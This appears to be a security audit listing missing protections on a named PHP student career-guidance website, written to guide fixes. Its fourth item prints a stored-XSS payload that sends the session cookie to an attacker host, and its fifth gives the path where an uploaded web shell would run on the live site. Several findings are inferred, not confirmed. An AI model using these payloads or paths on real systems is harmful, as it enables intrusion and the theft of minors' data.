Basic Security Features That Are Missing and To Be Implemented

1. **CSRF Protection:**

- Zero forms on the site contain a CSRF token field. Inspecting the raw HTML of the registration form, feedback form, Ama Bot contact form, and all self-assessment forms — none have <input type="hidden" name="csrf_token"> or equivalent. Since this is plain PHP (not Laravel), there is no framework-level CSRF middleware. Every POST handler is directly accessible and forgeable..

2. **No Server-Side Input Validation Indicators:**

- Client-side HTML5 required attributes exist, but these are bypassed with curl or any HTTP client. There is no observable evidence of server-side filter_var(), preg_match(), or whitelist validation on the POST handlers. Mobile number field accepts any string, email field has no server-side format check, and Role/Gender/Class POST values can be sent as arbitrary strings outside the allowed ENUM set.

3. **SQL Injection Risk:**

- The filter forms on /entrance-exams.php, /college-chnge.php, and /oldscholarships1.php submit SELECT type, location, domain, district values via POST/GET that are used to construct dynamic WHERE clauses in MySQL queries. With procedural PHP and no ORM, these are high-probability raw string interpolation queries — e.g., WHERE district='$_POST[district]'. No use of PDO prepare()/bindParam() or MySQLi bind_param() is visible or implied by the architecture.

4. **XSS — Output Escaping:**

- User-supplied data from the registration form, feedback form, and free-text self-assessment fields is stored in MySQL and subsequently rendered in the admin CMS. The PHP templates render this data back into HTML. No htmlspecialchars($value, ENT_QUOTES, 'UTF-8') wrapping is observable. A stored XSS payload in the Name field (<script>document.location='https://attacker.com/steal?c='+document.cookie</sc ript>) would execute in the admin's browser when viewing the registrations list.

5. **File Upload — No Type, MIME, or Execution Controls:**

- /feedback.php accepts <input type="file"> with no accept attribute restricting MIME types. /my-career-my-identity.php similarly accepts unrestricted uploads. Uploaded files land in /upload/ which sits inside the Apache document root. There is no .htaccess in /upload/ with php_flag engine off or Options -ExecCGI, meaning a PHP web shell uploaded as shell.php (or disguised as shell.php.jpg) would be directly executable at http://odishacareerguidance.com/upload/shell.php. No server-side finfo_open()/finfo_file() MIME validation is evident.

6. **Security Response Headers — All Absent:**

- None of the following HTTP security headers are set (verifiable via the page response — no <meta http-equiv> equivalents in the HTML either):
    - Content-Security-Policy — no XSS/injection policy defined
    - X-Frame-Options: DENY — site is clickjackable (embeddable in an iframe on a third-party page)
    - X-Content-Type-Options: nosniff — MIME sniffing attacks possible
    - Strict-Transport-Security — HSTS not set, so browsers won't enforce HTTPS on repeat visits
    - Referrer-Policy — full URL sent in Referer header to external sites (exam portals, scholarship portals, YouTube), leaking navigation paths
    - Permissions-Policy — no browser feature restrictions

7. **No Rate Limiting or Bot Protection:**

- All POST endpoints (registration, feedback, contact, self-assessment) have no CAPTCHA (reCAPTCHA v2/v3, hCaptcha), no honeypot fields, and no server-side submission throttle. The registration form can be POSTed in a loop to bulk-inject fake student records into the database.

8. **Technology Stack Fingerprinting:**

- .php file extensions in all URLs directly expose the server-side language. Combined with visible file naming patterns (oldscholarships1.php, college-chnge.php), an attacker immediately knows the architecture, reducing reconnaissance time significantly. Apache/Nginx Server header and X-Powered-By: PHP/x.x headers are likely set (could not confirm due to sandbox restrictions) — these should be suppressed via ServerTokens Prod and expose_php = Off in php.ini.

9. **Session Cookie Security (Admin):**

- PHP session cookies should carry HttpOnly, Secure, and SameSite=Strict flags. Without these: HttpOnly missing means XSS can steal the PHPSESSID cookie via document.cookie; Secure missing means the session cookie travels over HTTP if HTTPS redirect fails; SameSite=Strict missing leaves the session vulnerable to CSRF-based session riding. These are set in php.ini via session.cookie_httponly, session.cookie_secure, session.cookie_samesite — none are verifiably configured.

10. **No robots.txt Restricting Sensitive Paths:**

- No robots.txt is configured to disallow crawling of /upload/, /admin/, or any internal paths. These are indexed by search engines and discovery tools, making the upload directory and admin panel path easily findable.

11. **Error Handling / display_errors:**

- The previously documented mysqli_result Object ([current_field] => 0 [field_count] => 1...) output visible on self-assessment pages confirms display_errors = On in php.ini (or ini_set('display_errors', 1) in code). This leaks internal database object structure, PHP version indicators, and file paths to the browser — all useful to an attacker for targeted exploitation. Production servers must have display_errors = Off and log_errors = On with errors written to a server-side log file only.

12. **Privacy & Consent:**
    - No privacy policy page exists anywhere on the site
    - No consent notice or checkbox on the registration form — students (minors) submit their name, mobile, email, school, and district with no information about how it is used or stored
    - No parental consent mechanism for minor users (Class 9 students can be 13–14 years old)
    - Uploaded student media (drawings, photos, career videos) is publicly accessible with no authentication required

13. **Content & Data:**
    - The mysqli_result Object PHP debug output is rendered visibly to users on the self-assessment pages — server internals are being leaked to the browser
    - No robots.txt or sitemap.xml configured to control crawler access to sensitive paths
    - Error messages may expose server/database details to users if PHP errors are not suppressed in production (display_errors should be Off)